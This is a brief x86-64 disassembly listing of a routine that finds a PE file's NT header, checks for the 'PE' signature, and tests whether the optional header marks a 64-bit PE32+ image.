movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003b48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret